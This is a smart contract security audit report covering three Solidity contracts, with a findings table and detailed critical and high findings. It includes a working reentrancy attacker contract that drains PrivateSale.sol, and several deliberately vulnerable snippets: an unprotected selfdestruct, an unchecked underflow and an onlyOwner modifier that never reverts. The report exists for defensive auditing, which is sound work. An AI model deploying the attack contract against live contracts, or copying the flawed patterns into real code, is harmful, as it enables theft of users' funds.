// 01

Engagement Overview

1.1 Introduction

[CLIENT] engaged Red Team Security SRL to perform a comprehensive security assessment of three Solidity smart contracts. No deployment restrictions were given — none of the contracts had been released to any mainnet or testnet at the time of assessment, which allowed unconstrained testing.

Each finding in this report includes:

Description — what the vulnerability is and how it arises
Reference — link to an official classification or documentation
Affected Assets — which contract and function contains the issue
Severity — risk rating based on the overall impact and context
Proof of Concept — working evidence of the vulnerability being exploitable
Remediation — concrete steps to fix the issue

1.2 Objective

Audit roles and privileges within each contract and assess the impact of privilege abuse
Identify vulnerabilities using static analysis tools
Compile and deploy the contract set to a local instance (Ganache) for dynamic testing
Identify issues through dynamic analysis including fuzzing and symbolic execution

// 02

Executive Summary

The assessment combined multiple automated analysis tools with manual code review. Manual review was essential because smart contract security is a niche discipline and no single tool covers the full vulnerability space. Both static and dynamic analysis techniques were applied across all three contracts.

Multiple vulnerabilities were identified across all three contracts, ranging in severity from Informational to Critical. The contract implementations do not meet acceptable security standards in their current state. Deployment to production is strongly advised against until all Critical and High findings are remediated.

2.1 Findings Summary

Critical

High

Medium

Low

Informational

ID	Severity	Category (CWE)	Description	Count
SC-01	Critical	CWE-284	Unprotected self-destruct function allows any caller to destroy the contract and drain all funds.	1
SC-02	Critical	CWE-841	Reentrancy vulnerability allows an attacker to drain the contract balance via recursive calls before state is updated.	1
SC-03	Critical	CWE-682	Integer underflow in an unchecked arithmetic block enables balance manipulation leading to fund theft.	1
SC-04	High	CWE-285	The onlyOwner modifier is incorrectly implemented, effectively making authorization checks bypassable.	1
SC-05	High	CWE-284	The withdrawal function has no access control, allowing any address to impersonate a user and drain their balance.	1
SC-06	Medium	CWE-1164	Dead code — contract contains functions that produce no side effects and will never execute as intended.	1
SC-07	Medium	CWE-912	A hidden transfer function allows the contract owner to retrieve all user funds at will.	1
SC-08	Low	CWE-829	Block timestamps used for time-critical logic are manipulable by miners within a ~30s window.	1
SC-09	Low	CWE-682	Division before multiplication causes precision loss in the interest calculation formula.	1
SC-10–11	Low	CWE-664	Floating pragma allows contracts to be compiled with compiler versions that may have known bugs.	2
SC-12–13	Info	CWE-710	State variable visibility not explicitly set; recommended to always declare access modifiers explicitly.	2
SC-14	Info	CWE-1164	Unused variables declared in contract scope — should be removed to reduce attack surface and gas cost.	1
SC-15	Info	CWE-1006	Use of multiple digits in function parameters is not a recognized Solidity coding standard.	1

// 03

Technical Details

3.1 Approach & Methodology

The methodology relied primarily on the Smart Contract Weakness Classification (SWC) database, which provided a structured taxonomy of known vulnerability patterns and associated test cases. Both automated tooling and manual review were applied.

Automated tools used during this assessment:

Slither

MythX

Mythril

Oyente

Securify2

Smartcheck

Conkas

Severity definitions used in this report:

Critical — Devastating and unrecoverable impact or loss of funds
High — Significant level of impact or loss
Medium — Partial impact or loss affecting many users
Low — Temporary or minor impact or loss
Informational — No direct impact, but coding standards or best practices not followed

3.2 Critical Findings

Critical SC-01 — Unprotected Self-Destruct SWC-106 · CWE-284

Affected Asset

MyToken.sol — EmergencyDestroy function

Impact

Immediate, permanent loss of all funds held at the contract address

Description

Due to missing or insufficient access controls, any external caller can invoke the EmergencyDestroy function. This triggers selfdestruct, which permanently removes the contract from the blockchain and forwards its entire balance to an attacker-supplied address — causing immediate and unrecoverable fund loss.

Vulnerable Code

// No access modifier — callable by ANY address
function EmergencyDestroy(address payable _to) public {
    selfdestruct(_to);
}

Proof of Concept

Deployed MyToken.sol to a local Ganache instance. Called EmergencyDestroy from a non-owner account with an attacker-controlled address as the argument. The contract was successfully destroyed and the entire balance was transferred to the attacker address. The transaction completed without reverting, confirming the vulnerability.

Evidence

EmergencyDestroy called from non-owner — contract destroyed and balance drained

Remediation

If the self-destruct capability is not required, remove it entirely. If it must exist, restrict access with the onlyOwner modifier and consider a multi-signature approval scheme to prevent any single party from triggering it unilaterally.

Critical SC-02 — Reentrancy Attack SWC-107 · CWE-841

Affected Asset

PrivateSale.sol — getRefund function

Impact

Complete drainage of contract balance via recursive call loop

Description

When an external contract is called, the owner of the remote contract can take control over the calling contract's execution flow. Using a recursive call technique, an attacker can re-enter the getRefund function before the first call finishes updating the internal state variable tracking purchased tickets — allowing the attacker to receive refunds far exceeding their actual balance.

Proof of Concept — Attack Steps

// Attack contract deployed by the attacker
contract Reentrancy {
    uint256 public constant TICKET = 0.01 ether;
    targetInterface public privateSale;
    uint256 public loop_cnt = 0;

    // 1. Attacker buys 10 tickets (0.1 ether)
    function buy(uint256 quantity) external payable {
        privateSale.buyTickets{value: quantity * TICKET}(quantity);
    }

    // 2. Attacker requests refund for 1 ticket
    function attack(uint256 quantity) external payable {
        privateSale.getRefund(quantity); // triggers reentrancy
    }

    // 3. Receive() loops 20x before state is updated
    receive() external payable {
        if (loop_cnt != 20) {
            loop_cnt = loop_cnt + 1;
            privateSale.getRefund(1); // re-enter before balance decrements
        }
    }
}
// Result: attacker receives 0.2 ETH despite paying only 0.1 ETH

Evidence

Reentrancy attack draining contract balance via recursive transfer

Remediation

›Apply the Checks-Effects-Interactions (CEI) pattern: update all internal state before making any external calls
›Use OpenZeppelin's ReentrancyGuard modifier to block recursive calls at the contract level

Critical SC-03 — Integer Underflow SWC-101 · CWE-682

Affected Asset

PrivateSale.sol — getRefund function

Impact

Arithmetic underflow allows a user to bypass balance checks and receive unlimited refunds

Description

The contract performs arithmetic subtraction inside an unchecked block. When the reentrancy attack (SC-02) causes the quantity argument to exceed the user's actual purchasedTicket balance, the subtraction underflows and wraps around to a very large number — granting the attacker an enormous virtual balance.

Vulnerable Code

function getRefund(uint256 quantity) {
    // Transfer happens BEFORE balance is updated (CEI violation)
    payable(msg.sender).call{value: quantity * TICKET}("");

    unchecked {
        // If quantity > purchasedTickets[msg.sender], this underflows
        purchasedTickets[msg.sender] -= quantity;
    }
}

Remediation

Fix the reentrancy issue in SC-02 first, as that is the root cause. Additionally, replace the unchecked block with vetted safe math libraries for all arithmetic that could overflow or underflow. In Solidity 0.8.x, arithmetic is checked by default — do not wrap balance-affecting operations in unchecked blocks.

3.3 High Severity Findings

High SC-04 — Broken Authorization (onlyOwner) CWE-285

Affected Asset

HalbornPool.sol — onlyOwner modifier

Impact

Any address can call owner-restricted functions, bypassing authorization entirely

Description

The onlyOwner modifier contains a logic error — it checks whether the caller is not the owner and emits an event, but it does not revert the transaction or prevent execution. As a result, the modifier provides no actual access control: any caller can invoke functions protected by it.

Vulnerable Code

// Flawed modifier — missing require/revert
modifier onlyOwner() {
    if (msg.sender != owner) {
        emit NotOwner(msg.sender);  // logs event but DOES NOT revert
    }
    _;  // execution always continues here
}

// Correct implementation:
modifier onlyOwner() {
    require(msg.sender == owner, "Not owner");
    _;
}

Remediation

Replace the event emission with a require or revert statement. Consider using OpenZeppelin's battle-tested Ownable contract rather than implementing custom access control.

[RTS] Red Team Security SRL

Smart Contract Assessment · December 2021 · Confidential

Smart ContractSecurity Assessment

Engagement Overview

1.1 Introduction

1.2 Objective

Executive Summary

2.1 Findings Summary

Technical Details

3.1 Approach & Methodology

3.2 Critical Findings

3.3 High Severity Findings

Smart Contract
Security Assessment